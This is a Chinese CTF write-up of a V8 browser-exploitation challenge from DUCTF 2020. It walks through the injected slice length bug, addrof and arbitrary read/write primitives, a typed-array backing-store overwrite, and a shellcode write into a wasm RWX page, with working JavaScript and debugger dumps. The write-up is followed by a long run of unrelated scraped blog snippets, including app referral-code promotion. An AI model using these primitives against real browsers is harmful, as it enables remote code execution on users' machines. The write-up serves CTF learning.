题目信息
Author: Faith
Why do some people think browser exploitation == web?
Once you get code execution, you can execute /chal/flagprinter to get the flag. No need to get a shell.
V8 commit: 47054c840e26394dea0e36df47884202a15dd16d V8 version: 8.7.9 nc chal.duc.tf 30004
Challenge files: https://storage.googleapis.com/files.duc.tf/uploads/pwn/is-this-pwn-or-web/challenge.tar.gz (sha256: e1c70edde66932ca3ee9285fe37c04254ae5a0e00b265c68fe93440bbe3256e8)
patch
src/builtins/array-slice.tq
中
- return ExtractFastJSArray(context, a, start, count);
+ // return ExtractFastJSArray(context, a, start, count);
+ // Instead of doing it the usual way, I've found out that returning it
+ // the following way gives us a 10x speedup!
+ const array: JSArray = ExtractFastJSArray(context, a, start, count);
+ const newLength: Smi = Cast(count - start + SmiConstant(2))
+ otherwise Bailout;
+ array.ChangeLength(newLength);
+ return array;
当start指定为0时,这里把数组的长度增加了2,导致我们可以读写array elements后两个元素的值。
利用
JSArray结构
对于这样一个array
a = [1.1, 2.2, 3.3, 4.4]
在slice之后
d8> b = a.slice(0)
[1.1, 2.2, 3.3, 4.4, , ]
d8> b.length
6
d8> b[4]
4.768128617178215e-270
d8> b[5]
2.5530533391e-313
a = [1.1, 2.2, 3.3];
DebugPrint: 0xe3b08085aa9: [JSArray]
- map: 0x0e3b082438fd [FastProperties]
- prototype: 0x0e3b0820a555
- elements: 0x0e3b08085a89 [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0e3b080426dd {
0xe3b08044649: [String] in ReadOnlySpace: #length: 0x0e3b08182159 (const accessor descriptor)
}
- elements: 0x0e3b08085a89 {
0: 1.1
1: 2.2
2: 3.3
}
查看elements
pwndbg> x/10gx 0x0e3b08085a89-1
0xe3b08085a88: 0x0000000608042a31 0x3ff199999999999a (1.1)
0xe3b08085a98: 0x400199999999999a(2.2) 0x400a666666666666 (3.3)
0xe3b08085aa8: 0x080426dd082438fd (map ptr) 0x0000000608085a89 (element ptr)
0xe3b08085ab8: 0x00000006080424a5 0x08085af908085acd
0xe3b08085ac8: 0x0824579d08085b25 0x080426dd080426dd
pwndbg> x/10gf 0x0e3b08085a89-1
0xe3b08085a88: 1.2798421967007003e-313 1.1000000000000001
0xe3b08085a98: 2.2000000000000002 3.2999999999999998
0xe3b08085aa8: 4.7681286171782151e-270 1.2798557597908099e-313
+-------------+-------------+
0x0e3b08085a88 | | |
+------>| | 1.1 |
| +---------------------------+
| | | |
| | 2.2 | 3.3 |
| +---------------------------+
| | | float_arr | 0xe3b08085aa8
| | 4.4 | map | JSArray start
| +---------------------------+
| | elements | |
+-------+ ptr | |
+-------------+-------------+
元素的实际数值放置于element_ptr+0x8
的地方
可控多出来的两个元素,分别为float_arr map和element ptr
浮点数与整数的转换
Double: Shown as the 64-bit binary representation without any changes Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000 Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) == float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) == BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
addrof
修改float_arr的elements指针到obj_arr的 elements指针,这样通过把obj放到obj_arr,再从float_arr
读取数据就能拿到obj的地址。
obj_arr float_arr
+----------+---------+ +-----------+---------+
| map | elems | | map |elems |
| | | | | |
+----------+-----+---+ +-----------+-----+---+
| |
+-----+----------------------------+
|
v
+--------------+
| obj ptr1 |+---> {A:1.1}
+--------------+
| obj ptr2 |+---> {B:2.2}
+--------------+
| ... |
| |
| |
| |
+--------------+
泄露map ptr和 element ptr
a = [1.1, 2.2, 3.3];
b = [{A:1}, {B:2}, {C:3}];
float_arr = a.slice(0);
obj_arr = b.slice(0);
float_map = float_arr[3];
float_elems = float_arr[4];
调试可知obj_map
,obj_elems
与float_map
,float_elems
的偏移。
float_arr :
DebugPrint: 0x25b008085b59: [JSArray]
- map: 0x25b0082438fd [FastProperties]
...
- elements: 0x25b008085b39 {
0: 1.1
1: 2.2
2: 3.3
}
obj_arr :
DebugPrint: 0x25b008085b7d: [JSArray]
- map: 0x25b00824394d [FastProperties]
...
- elements: 0x25b008085b69 {
0: 0x25b008085aa5
1: 0x25b008085ad1
2: 0x25b008085afd
}
obj_map = itof(ftoi(float_map) + (0x50n));
obj_elems = itof(ftoi(float_elems) + (0x30n));
修改float_arr的elements指针到obj_arr的 elements指针
// hijack obj element ptr
float_arr[4]= obj_elems ;
addrof
function addrof(in_obj) {
// put the obj into our object array
obj_arr[0] = in_obj;
// accessing the first element of the float array
// treats the value there as a float:
let addr = float_arr[0];
// Convert to bigint
return ftoi(addr);
}
Arbitrary read/write within v8 heap
修改elements指针到R/W的地址即可。 由于v8堆内使用了指针压缩,而base不可知,所以只能R/W堆内的地址(即传入的地址需要时压缩后的指针)
function arbi_r(target_addr){
t=[1.1]
// read is performed at addr + 0x8
target_addr = target_addr - 0x8n
// ensure addr is tagged as a pointer
if (target_addr % 2n == 0) {
target_addr += 1n;
}
hijacked_t = t.slice(0);
hijacked_t[2]=itof(target_addr);
return ftoi(hijacked_t[0]);
}
function arbi_w(target_addr, val) { // both as BigInts
t = [1.1]
// write is made at addr + 0x8
target_addr = target_addr - 0x8n
// ensure addr is tagged
if (target_addr % 2n == 0) {
target_addr += 1n;
}
tmp_arr = t.slice(0)
// set elem ptr to desired address
tmp_arr[2] = itof(target_addr)
// set addr to desired value
tmp_arr[0] = itof(val)
}
任意R/W
为了实现堆外的R/W,可以通过修改typed arrays的backing store为目标地址。
v8 heap 'actual' heap
+----------------------------+ +---------------------+
| | | |
| buf +--------------+ | +--> |
| | | | | | |
| | . . . | | | | |
| | | | | +---------------------+
| | | | |
| +--------------+ | |
| | backing | | |
| | store ptr +----------+
| +--------------+ |
+----------------------------+
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n
// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)
wasm中的RXW段
查看WasmInstanceObject的布局
DebugPrint: 0x360c08211751: [WasmInstanceObject] in OldSpace
- map: 0x360c08245275 [FastProperties]
- prototype: 0x360c080835fd
- elements: 0x360c080426dd [HOLEY_ELEMENTS]
- module_object: 0x360c080859ed
- exports_object: 0x360c08085b49
- native_context: 0x360c0820221d
- memory_object: 0x360c08211739
- table 0: 0x360c08085b1d
- imported_function_refs: 0x360c080426dd
- indirect_function_table_refs: 0x360c080426dd
- managed_native_allocations: 0x360c08085ad5
- memory_start: 0x7ffddc000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x555556ae9670
- globals_start: (nil)
- imported_mutable_globals: 0x555556ae9690
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x360c080426dd {}
pwndbg> telescope 0x360c08211751-1 20
00:0000│ 0x360c08211750 ◂— 0x80426dd08245275
01:0008│ 0x360c08211758 ◂— 0xdc000000080426dd
02:0010│ 0x360c08211760 ◂— 0x1000000007ffd
03:0018│ 0x360c08211768 ◂— 0xffff00000000
04:0020│ 0x360c08211770 ◂— 0x4800000000
05:0028│ 0x360c08211778 ◂— 0x80426dd0000360c /* '\x0c6' */
06:0030│ 0x360c08211780 —▸ 0x555556ae9670 —▸ 0x7ffff73f2ca0 (main_arena+96) —▸ 0x555556b70780 ◂— 0x0
07:0038│ 0x360c08211788 ◂— 0x80426dd
08:0040│ 0x360c08211790 ◂— 0x0
... ↓
0b:0058│ 0x360c082117a8 —▸ 0x555556ae9690 —▸ 0x7ffff73f2ca0 (main_arena+96) —▸ 0x555556b70780 ◂— 0x0
0c:0060│ 0x360c082117b0 —▸ 0x360c00000000 —▸ 0x7fffffffd780 ◂— 0x360c00000000
0d:0068│ 0x360c082117b8 —▸ 0xcff4e389000 ◂— jmp 0xcff4e3893a0 /* 0xcccccc0000039be9 */
0e:0070│ 0x360c082117c0 ◂— 0x8085b49080859ed
0f:0078│ 0x360c082117c8 ◂— 0x82117390820221d
10:0080│ 0x360c082117d0 ◂— 0x804230108042301
11:0088│ 0x360c082117d8 ◂— 0x8085b1108042301
12:0090│ 0x360c082117e0 ◂— 0x8085ad508085b3d
13:0098│ 0x360c082117e8 ◂— 0x8085b8108042301
其中0x360c082117b8
(+0x68)处的地址0xcff4e389000
处于RXW段
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xcff4e389000 0xcff4e38a000 rwxp 1000 0
向其中写入shellcode即可
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);
// %DebugPrint(buf);
// %SystemBreak();
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n
// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)
// backing store now points to the rwx segment, copy in our shellcode
for (let i = 0; i < shellcode.length; i++) {
uint8_arr[i] = shellcode[i]
}
wasm_func();
murmur
大致一道V8的题目,分为构造addrof
, (withinHeap) arbitraryR/W
, (allAddr) arbitraryR/W
的primitive。 其中可以通过TypedArray
的backing store
,实现任意地址的arbitrary R/W
。 (https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html)
reference
https://seb-sec.github.io/2020/09/28/ductf2020-pwn-or-web.html
你可能感兴趣的:(ductf2020 pwn-or-web v8)
libyuv之linux编译
jaronho
Linux linux 运维 服务器
文章目录一、下载源码二、编译源码三、注意事项1、银河麒麟系统(aarch64)(1)解决armv8-a+dotprod+i8mm指令集支持问题(2)解决armv9-a+sve2指令集支持问题一、下载源码到GitHub网站下载https://github.com/lemenkov/libyuv源码,或者用直接用git克隆到本地,如:gitclonehttps://github.com/lemenko
ARM V8 base instruction -- Debug instructions
xiaozhiwise
Assembly arm
/**Debuginstructions*/BRK#imm16进入monitormodedebug,那里有on-chipdebugmonitorcodeHLT#imm16进入haltmodedebug,连接有外部调试硬件
Armv8.3 体系结构扩展--原文版
代码改变世界ctw
ARM-TEE-Android armv8 嵌入式 arm架构 安全架构 芯片 Trustzone Secureboot
快速链接:.ARMv8/ARMv9架构入门到精通-[目录]付费专栏-付费课程【购买须知】:个人博客笔记导读目录(全部)TheArmv8.3architectureextensionTheArmv8.3architectureextensionisanextensiontoArmv8.2.Itaddsmandatoryandoptionalarchitecturalfeatures.Somefeat
ARMv8 Debug
__pop_
ARMv8 ARM64 架构 linux 运维
内容来自DEN0024A_v8_architecture_PG.pdf本质ARMv8Debug是什么历史在ARMv4开始被引入,并已发展成一系列广泛的调试(debug1)和跟踪(trace)功能ARMv6和ARMv7-a新增了自托管调试(debug2)和性能评测(trace-enhance)ARMv8处理器提供硬件功能侵入式:调试工具能够对核心活动提供显著级别的控制非侵入式:以非侵入性方式收集有关
ARMV8体系结构简介:概述
简单同学
ARMV8体系结构 ARMV8
1.前言本文主要概括的介绍ARMV8体系结构定义了哪些内容,概括的说:ARM体系结构定义了PE的行为,不会定义具体的实现ARM体系结构也定义了debug体系结构和trace体系结构ARM体系结构采用RISC指令集(1)长度一致的寄存器;(2)load/store架构,数据处理操作只能对寄存器内容进行处理,不会直接对内存的内容进行处理;(3)简单寻址方式,load/store地址来源于寄存器或指令域
现在做自媒体还赚钱吗,普通人怎样做自媒体赚钱?
氧惠好物
短视频平台很多,但真正能赚到钱的不多,选好阵地盆满钵满,选错阵地颗粒无收也可以做氧惠APP分享赚钱,2023新型淘客平台,收益还不错氧惠(全网优惠上氧惠)——是与以往完全不同的抖客+淘客app!2023全新模式,我的直推也会放到你下面,注册送V8等级,欢迎各位团队长体验!也期待你的加入。氧惠邀请码166666,注册就帮你推广,一起做到百万团队!氧惠怎么使用1复制淘宝(其它平台)商品链接,淘口令,标
遥感图像分割系统:融合空间金字塔池化(FocalModulation)改进YOLOv8
xuehaisj
YOLO 人工智能 计算机视觉 yolov8
1.研究背景与意义项目参考AAAIAssociationfortheAdvancementofArtificialIntelligence研究背景与意义遥感图像分割是遥感技术领域中的一个重要研究方向,它的目标是将遥感图像中的不同地物或地物类别进行有效的分割和识别。随着遥感技术的不断发展和遥感图像数据的大规模获取,遥感图像分割在农业、城市规划、环境监测等领域具有广泛的应用前景。然而,由于遥感图像的特
YOLOV8改进-C2f添加Deformable Conv V2
森爱。
YOLOV8改进 YOLO
目录1DeformableConvV2介绍2YOLOV8添加DeformableConvV22.1代码添加到Blocks2.1.1C2f_DCN代码2.1.2加入_all_导入2.1.3加入modules导入2.2添加至运行模块tasks2.2.1导入包2.2.2解析参数添加2.3在_init_中增加名称2.4模型配置文件yaml替换1DeformableConvV2介绍论文地址:https://
2022圣诞节送什么礼物合适,圣诞节礼物推荐
氧惠好项目
圣诞节查看更多关于圣诞节的文章习俗传播到亚洲主要是在十九世纪中叶,日本、韩国等都受到了圣诞文化的影响。现在西方在圣诞节常互赠礼物,举行欢宴,并以圣诞老人、圣诞树等增添节日气氛。大家好,我是氧惠七言导师,氧惠官方邀请码211985,注册送v8体验和粉丝直邀1:1。有人说圣诞节是属于有情人的节日,传统、轻快、让人期待:同样圣诞礼物是这个节日中的一份橙色惊喜,点缀、温馨、浪漫、美妙……说白了,能有一份巧
结合YOLOv8和OpenCV WeChat QRCode打造一款二维码识别器
搜狐技术产品小编2023
YOLO opencv 微信 人工智能 计算机视觉
本文字数:3876字预计阅读时间:25分钟01引言二维码(QRCode)在现代生活中有广泛应用,从支付系统到信息传递,它们无处不在。本文提出了一种如何识别二维码的方法,主要贡献在于优化处理分辨率较高的图像时,由于二维码在整张图片中占据的比例较小,传统的OpenCVWeChatQRCode的识别方法表现不佳的问题。下面描述详细的优化过程。02OpenCVWeChatQRCodeWeChatQRCod
YOLOv8数据增强
热心小张
研究生 yolov8
1.找到augment.py(ultralytics/data/augment.py),修改对应内容#TransformsT=[A.Blur(p=0.01),A.MedianBlur(p=0.01),A.ToGray(p=0.01),A.CLAHE(p=0.01),A.RandomBrightnessContrast(p=0.0),A.RandomGamma(p=0.0),A.ImageCompr
2023年赚钱新商机有哪些?2023年有什么新的商机?
氧惠全网优惠
已经进入11月中旬,2022年又到年底了。这一年,受疫情影响,很多企业倒闭,很多人面临失业的窘境。2023年,势必将有很多朋友自己创业赚钱,那么,2023年商机在哪里呢?今天小编先给大家推荐一个无门槛的赚钱项目——【氧惠】适合所有人,普通人也能零投资,零门槛创业!氧惠(全网优惠上氧惠)——是与以往完全不同的抖客+淘客app!2022全新模式,我的直推也会放到你下面,注册送V8等级,欢迎各位团队长体
Node.js 、Yarn、npm、Vue、Vite、Webpack 前端一套流程
叫我DPT
前端开发 node.js 前端 npm
前端项目的搭建Vue、Vite、Webpack、Yarn、Node.js和npm的概念解释,以及它们之间的关系:Node.js:一个开源、跨平台的JavaScript运行时环境,可以让JavaScript代码在服务器端运行。它提供了一个事件驱动、非阻塞的I/O模型,使得它非常适合构建高性能的网络应用。Node.js基于ChromeV8引擎构建,能够执行JavaScript代码。npm(NodePa
孕妇可以用电热毯吗 电热毯对孕妇的影响
氧惠导师
电热毯的作用就是带来温暖,而在冬季很多孕妇都是十分怕冷的,就算家里有暖气,也会希望睡觉时能够更加温暖,而使用电热毯就是最方便快捷的方式了,但是作为电子产品,很多人都会担心电热毯对孕妇是否有影响。➤推荐使用“氧惠”,邀请码:521521,团队有滑落,佣金真的高,全新模式,你注册我推广,我的直邀会在你的下面,创始团队―裂变快、收益高,注册送V8体验会员!享受高佣金!(应用市场搜“氧惠”下载,邀请码:5
我们每一个人都有自己的答案
潘燕生
昨天晚上睡觉前,哥哥问我一个问题:病毒的DNA是怎么样进入细胞核的。我说我不知道,建议今天上网搜一下。于是一早就在百度视频上搜“病毒的DNA是怎么样进入细胞核的”,无果。他拿起他的手机翻了一下,说找“细胞的暗战”这个视频。这是BBC拍摄的一部科幻纪录片,网上有很多观看的链接。我找了下面这个链接放给哥哥看。https://www.bilibili.com/video/av89127540视频上有弹幕
姐弟恋是什么体验?
珊妮个珊
AV8D晚上好我是萌主今天给大家分享的话题是:姐弟恋是什么体验?有宝宝经历过吗?01没谈恋爱的时候跟朋友说很讨厌姐弟恋因为女生本来就比男生成熟完谈姐弟恋跟养了个儿子似的可是后来发现感觉来了挡都挡不住谈了两年多,被照顾的很好可我却还是失去了他而且我也知道我可能再也遇不到像他那样对我那么好的人了02其实他比我年龄大但是学姐和小学弟啦他觉得学姐就应当照顾他的帮他打饭洗衣服但我还是御姐不起来喜欢撒娇还很任
ARM 架构--通用寄存器/状态寄存器/控制寄存器/特殊用途寄存器
小蘑菇二号
arm开发 架构
目录一ARM架构中的寄存器ARM架构中的寄存器通用寄存器状态寄存器控制寄存器特殊用途寄存器总结二通用寄存器ARM架构中的通用寄存器ARMv7架构ARMv8架构实例ARMv7架构ARMv8架构三状态寄存器ARM架构中的状态寄存器状态寄存器详细说明实例ARMv7架构ARMv8枩构四特殊用途寄存器ARM架构下的特殊用途寄存器堆栈指针(SP)链接寄存器(LR)程序计数器(PC)系统寄存器(SYSREG)一
ERROR: Could not install packages due to an OSError: [Errno 2] No such file or directory:错误解决
nomoremorphine
python pip 计算机视觉 目标检测
安装yolov8时(pipinstallultralytics)报错:ERROR:CouldnotinstallpackagesduetoanOSError:[Errno2]没有那个文件或目录:‘xxxx/anaconda3/envs/v8-test/lib/python3.7/site-packages/numpy-1.21.6.dist-info/METADATA’问题原因:安装环境里对应的安
centos7安装node.js
0981b16f19c7
安装step1:下载node.jswgethttps://npm.taobao.org/mirrors/node/v8.0.0/node-v8.0.0-linux-x64.tar.xzstep2:解压tar-xvfnode-v8.0.0-linux-x64.tar.xzstep3:配置环境变量,便于全局使用ln-s/usr/opt/node-v8.0.0-linux-x64/bin/node/us
使用TensorRT对YOLOv8模型进行加速推理
fengbingchun
Deep Learning CUDA/TensorRT YOLOv8 TensorRT
这里使用GitHub上shouxieai的infer框架对YOLOv8模型进行加速推理,操作过程如下所示:1.配置环境,依赖项,包括:(1).CUDA:11.8(2).cuDNN:8.7.0(3).TensorRT:8.5.3.1(4).ONNX:1.16.0(5).OpenCV:4.10.02.cloneinfer代码:https://github.com/shouxieai/infer3.使用
使用yolov8识别+深度相机+机械臂实现垃圾分拣机械臂(代码分享)
调包侠@
YOLO 数码相机 毕业设计
文章目录垃圾分拣机械臂总体介绍主要功能与特色视频演示文件目录程序主代码完整代码链接垃圾分拣机械臂总体介绍本作品将视觉识别技术部署在嵌入式设备,自动控制机械臂进行分拣任务,在我们的设计中,首先使用深度相机将图像信息发送到嵌入式设备,视觉识别算法进行分类检测,将垃圾分为感染性,损失性,病理性,药物性,化学性,并根据相机的深度值计算出目标的三维坐标,由于系统使用眼在手外的结构,根据手眼标定的结果,将坐标
氧惠怎么赚钱?实操氧惠月入10万+的方法秘诀
全网优惠分享
氧惠怎么赚钱?实操氧惠月入10万+的方法秘诀,加入我的团队手把手教学。下面告诉大家怎么加入到氧惠手机应用商店搜索「氧惠」下载,注册时填写邀请码:222999注册时填写邀请码:222999(此码注册可直接享受V8权益)氧惠是与以往完全不同的抖客+淘客app!全新模式,我的直推也会放到你下面,我曾经1年做到百万团队,现在加入我也会帮你做到百万团队。【氧惠】百度有几百万篇报道,也期待你的加入。氧惠邀请码
【深度学习实战】行人检测追踪与双向流量计数系统【python源码+Pyqt5界面+数据集+训练代码】YOLOv8、ByteTrack、目标追踪、双向计数、行人检测追踪、过线计数
阿_旭
AI应用软件开发实战 深度学习实战 深度学习 python 行人检测 行人追踪 过线计数
《博主简介》小伙伴们好,我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。✌更多学习资源,可关注公-仲-hao:【阿旭算法与机器学习】,共同学习交流~感谢小伙伴们点赞、关注!《------往期经典推荐------》一、AI应用软件开发实战专栏【链接】项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体
pytorch训练后pt模型中保存内容详解(yolov8n.pt为例)
yueguang8
yolo算法 pytorch YOLO 人工智能
在PyTorch中,.pt模型文件通常包含以下几类数据:模型参数:存储模型的权重和偏置参数。优化器状态:包含优化器的状态信息,以便在恢复训练时能够从中断的地方继续。训练状态:一些训练过程中的信息,例如当前的epoch数和训练进度。其他元数据:包括模型的配置、训练时使用的超参数等。在讲解pytorchpt(pth)文件中保存了什么内容之前,需要先了解pt在保存时保存了那些参数。以YOLO系列pt保存
javafx_scenebuilder-2_0-windows.msi 百度云盘下载
招风的黑耳
后端 javafx
javafxscenebuilder官网下载很慢网上有很多人分享,都要付积分下载。下面是从官网下载好的,传我百度网盘了,有需要的大家去下载吧。链接:https://pan.baidu.com/s/1tUynlqfagoN6av8hRitTCQ提取码:9a2h无偿分享,大家愿意就点个关注呗,会有更多资源分享。
Cortex-X925的特性简介
代码改变世界ctw
ARM-TEE-Android X925 A720 A520 armv9.2 ARMV9 arm armv8
Cortex-X925核是一款高性能且低功耗的产品,实现了Armv9.2-A架构。Armv9.2-A架构扩展了Armv8-A架构,完全支持Armv8.7-A版本。Cortex-X925核被实现于DSU-120DynamIQ集群内部。它连接到DynamIQDSU120,后者作为完整的互连系统,具有L3缓存和嗅探控制功能。在具有不同类型核心的系统中,这种连接配置也会使用,其中Cortex-X925核心
地平线旭日x3派部署yolov8
巴啦啦魔仙变!!
YOLO python 数学建模
地平线旭日x3派部署yolov8总体流程1.导出onnx模型导出YOLOV8_onnxruntime.py验证onnxutils.py2.在开发机转为bin模型2.1准备数据图片2.2转换必备的yaml文件2.3开始转换3.开发机验证**quantized_model.onnx4.板子运行bin模型资源链接总体流程1.导出onnx模型导出使用yolov8的github库导出onnx模型。注意设置o
【Arm Cortex-X925】 -【第二章】-Cortex-X925 core简介
代码改变世界ctw
ARM-TEE-Android ARM ARMV9 超大核 X925 X4 soc 芯片
2.Cortex-X925核心Cortex-X925核心是一款高性能、低功耗的产品,采用了Armv9.2-A架构。Armv9.2-A架构在Armv8‑A架构的基础上进行了扩展,涵盖了Armv8.7‑A。Cortex-X925核心集成在DSU-120DynamIQ™集群内。它连接到DynamIQ™SharedUnit-120,该单元作为一个完整的互连系统,包含L3缓存和窥探控制。这种连接配置也适用于
YOLOv8改进 | 检测头篇 | YOLOv8引入DynamicHead检测头
小李学AI
YOLOv8有效涨点专栏 YOLO 深度学习 目标检测 计算机视觉 机器学习 人工智能
1.DynamicHead描述1.1摘要:在目标检测中,定位和分类相结合的复杂性导致了各种方法的蓬勃发展。以往的工作试图提高各种目标检测头的性能,但未能呈现出统一的观点。本文根据目标检测的特点,推导了一种新的动态头部框架,将目标检测头部与注意力统一起来。该方法通过在特征层次间、空间位置间和输出通道内协调组合多种自注意机制,在不增加计算开销的情况下显著提高了目标检测头的表示能力。进一步的实验表明,本
YOLOv8 只检测人 只画框不要标签
waketzheng
YOLO
参考了这个:YOLOv8只检测人(或其他一种或者多种类别)_yolov8只检测指定类别-CSDN博客1.只检测人:predict的时候指定参数classes=[0]2.只画框不要标签:plot的时候传入labels=False3.标签中去掉置信度:result.plot(conf=False)示例代码如下:#!/usr/bin/envpythonimportcontextlibfromdateti
关于旗正规则引擎下载页面需要弹窗保存到本地目录的问题
何必如此
jsp 超链接 文件下载 窗口
生成下载页面是需要选择“录入提交页面”,生成之后默认的下载页面<a>标签超链接为:<a href="<%=root_stimage%>stimage/image.jsp?filename=<%=strfile234%>&attachname=<%=java.net.URLEncoder.encode(file234filesourc
【Spark九十八】Standalone Cluster Mode下的资源调度源代码分析
bit1129
cluster
在分析源代码之前,首先对Standalone Cluster Mode的资源调度有一个基本的认识:
首先,运行一个Application需要Driver进程和一组Executor进程。在Standalone Cluster Mode下,Driver和Executor都是在Master的监护下给Worker发消息创建(Driver进程和Executor进程都需要分配内存和CPU,这就需要Maste
linux上独立安装部署spark
daizj
linux 安装 spark 1.4 部署
下面讲一下linux上安装spark,以 Standalone Mode 安装
1)首先安装JDK
下载JDK:jdk-7u79-linux-x64.tar.gz ,版本是1.7以上都行,解压 tar -zxvf jdk-7u79-linux-x64.tar.gz
然后配置 ~/.bashrc&nb
Java 字节码之解析一
周凡杨
java 字节码 javap
一: Java 字节代码的组织形式
类文件 {
OxCAFEBABE ,小版本号,大版本号,常量池大小,常量池数组,访问控制标记,当前类信息,父类信息,实现的接口个数,实现的接口信息数组,域个数,域信息数组,方法个数,方法信息数组,属性个数,属性信息数组
}
&nbs
java各种小工具代码
g21121
java
1.数组转换成List
import java.util.Arrays;
Arrays.asList(Object[] obj); 2.判断一个String型是否有值
import org.springframework.util.StringUtils;
if (StringUtils.hasText(str)) 3.判断一个List是否有值
import org.spring
加快FineReport报表设计的几个心得体会
老A不折腾
finereport
一、从远程服务器大批量取数进行表样设计时,最好按“列顺序”取一个“空的SQL语句”,这样可提高设计速度。否则每次设计时模板均要从远程读取数据,速度相当慢!!
二、找一个富文本编辑软件(如NOTEPAD+)编辑SQL语句,这样会很好地检查语法。有时候带参数较多检查语法复杂时,结合FineReport中生成的日志,再找一个第三方数据库访问软件(如PL/SQL)进行数据检索,可以很快定位语法错误。
mysql linux启动与停止
墙头上一根草
如何启动/停止/重启MySQL一、启动方式1、使用 service 启动:service mysqld start2、使用 mysqld 脚本启动:/etc/inint.d/mysqld start3、使用 safe_mysqld 启动:safe_mysqld&二、停止1、使用 service 启动:service mysqld stop2、使用 mysqld 脚本启动:/etc/inin
Spring中事务管理浅谈
aijuans
spring 事务管理
Spring中事务管理浅谈
By Tony Jiang@2012-1-20 Spring中对事务的声明式管理
拿一个XML举例
[html]
view plain
copy
print
?
<?xml version="1.0" encoding="UTF-8"?>&nb
php中隐形字符65279(utf-8的BOM头)问题
alxw4616
php中隐形字符65279(utf-8的BOM头)问题
今天遇到一个问题. php输出JSON 前端在解析时发生问题:parsererror.
调试:
1.仔细对比字符串发现字符串拼写正确.怀疑是 非打印字符的问题.
2.逐一将字符串还原为unicode编码. 发现在字符串头的位置出现了一个 65279的非打印字符.
 
调用对象是否需要传递对象(初学者一定要注意这个问题)
百合不是茶
对象的传递与调用技巧
类和对象的简单的复习,在做项目的过程中有时候不知道怎样来调用类创建的对象,简单的几个类可以看清楚,一般在项目中创建十几个类往往就不知道怎么来看
为了以后能够看清楚,现在来回顾一下类和对象的创建,对象的调用和传递(前面写过一篇)
类和对象的基础概念:
JAVA中万事万物都是类 类有字段(属性),方法,嵌套类和嵌套接
JDK1.5 AtomicLong实例
bijian1013
java thread java多线程 AtomicLong
JDK1.5 AtomicLong实例
类 AtomicLong
可以用原子方式更新的 long 值。有关原子变量属性的描述,请参阅 java.util.concurrent.atomic 包规范。AtomicLong 可用在应用程序中(如以原子方式增加的序列号),并且不能用于替换 Long。但是,此类确实扩展了 Number,允许那些处理基于数字类的工具和实用工具进行统一访问。
 
自定义的RPC的Java实现
bijian1013
java rpc
网上看到纯java实现的RPC,很不错。
RPC的全名Remote Process Call,即远程过程调用。使用RPC,可以像使用本地的程序一样使用远程服务器上的程序。下面是一个简单的RPC 调用实例,从中可以看到RPC如何
【RPC框架Hessian一】Hessian RPC Hello World
bit1129
Hello world
什么是Hessian
The Hessian binary web service protocol makes web services usable without requiring a large framework, and without learning yet another alphabet soup of protocols. Because it is a binary p
【Spark九十五】Spark Shell操作Spark SQL
bit1129
shell
在Spark Shell上,通过创建HiveContext可以直接进行Hive操作
1. 操作Hive中已存在的表
[hadoop@hadoop bin]$ ./spark-shell
Spark assembly has been built with Hive, including Datanucleus jars on classpath
Welcom
F5 往header加入客户端的ip
ronin47
when HTTP_RESPONSE {if {[HTTP::is_redirect]}{ HTTP::header replace Location [string map {:port/ /} [HTTP::header value Location]]HTTP::header replace Lo
java-61-在数组中,数字减去它右边(注意是右边)的数字得到一个数对之差. 求所有数对之差的最大值。例如在数组{2, 4, 1, 16, 7, 5,
bylijinnan
java
思路来自:
http://zhedahht.blog.163.com/blog/static/2541117420116135376632/
写了个java版的
public class GreatestLeftRightDiff {
/**
* Q61.在数组中,数字减去它右边(注意是右边)的数字得到一个数对之差。
* 求所有数对之差的最大值。例如在数组
mongoDB 索引
开窍的石头
mongoDB索引
在这一节中我们讲讲在mongo中如何创建索引
得到当前查询的索引信息
db.user.find(_id:12).explain();
cursor: basicCoursor 指的是没有索引
&
[硬件和系统]迎峰度夏
comsci
系统
从这几天的气温来看,今年夏天的高温天气可能会维持在一个比较长的时间内
所以,从现在开始准备渡过炎热的夏天。。。。
每间房屋要有一个落地电风扇,一个空调(空调的功率和房间的面积有密切的关系)
坐的,躺的地方要有凉垫,床上要有凉席
电脑的机箱
基于ThinkPHP开发的公司官网
cuiyadll
行业系统
后端基于ThinkPHP,前端基于jQuery和BootstrapCo.MZ 企业系统
轻量级企业网站管理系统
运行环境:PHP5.3+, MySQL5.0
系统预览
系统下载:http://www.tecmz.com
预览地址:http://co.tecmz.com
各种设备自适应
响应式的网站设计能够对用户产生友好度,并且对于
Transaction and redelivery in JMS (JMS的事务和失败消息重发机制)
darrenzhu
jms 事务 承认 MQ acknowledge
JMS Message Delivery Reliability and Acknowledgement Patterns
http://wso2.com/library/articles/2013/01/jms-message-delivery-reliability-acknowledgement-patterns/
Transaction and redelivery in
Centos添加硬盘完全教程
dcj3sjt126com
linux centos hardware
Linux的硬盘识别:
sda 表示第1块SCSI硬盘
hda 表示第1块IDE硬盘
scd0 表示第1个USB光驱
一般使用“fdisk -l”命
yii2 restful web服务路由
dcj3sjt126com
PHP yii2
路由
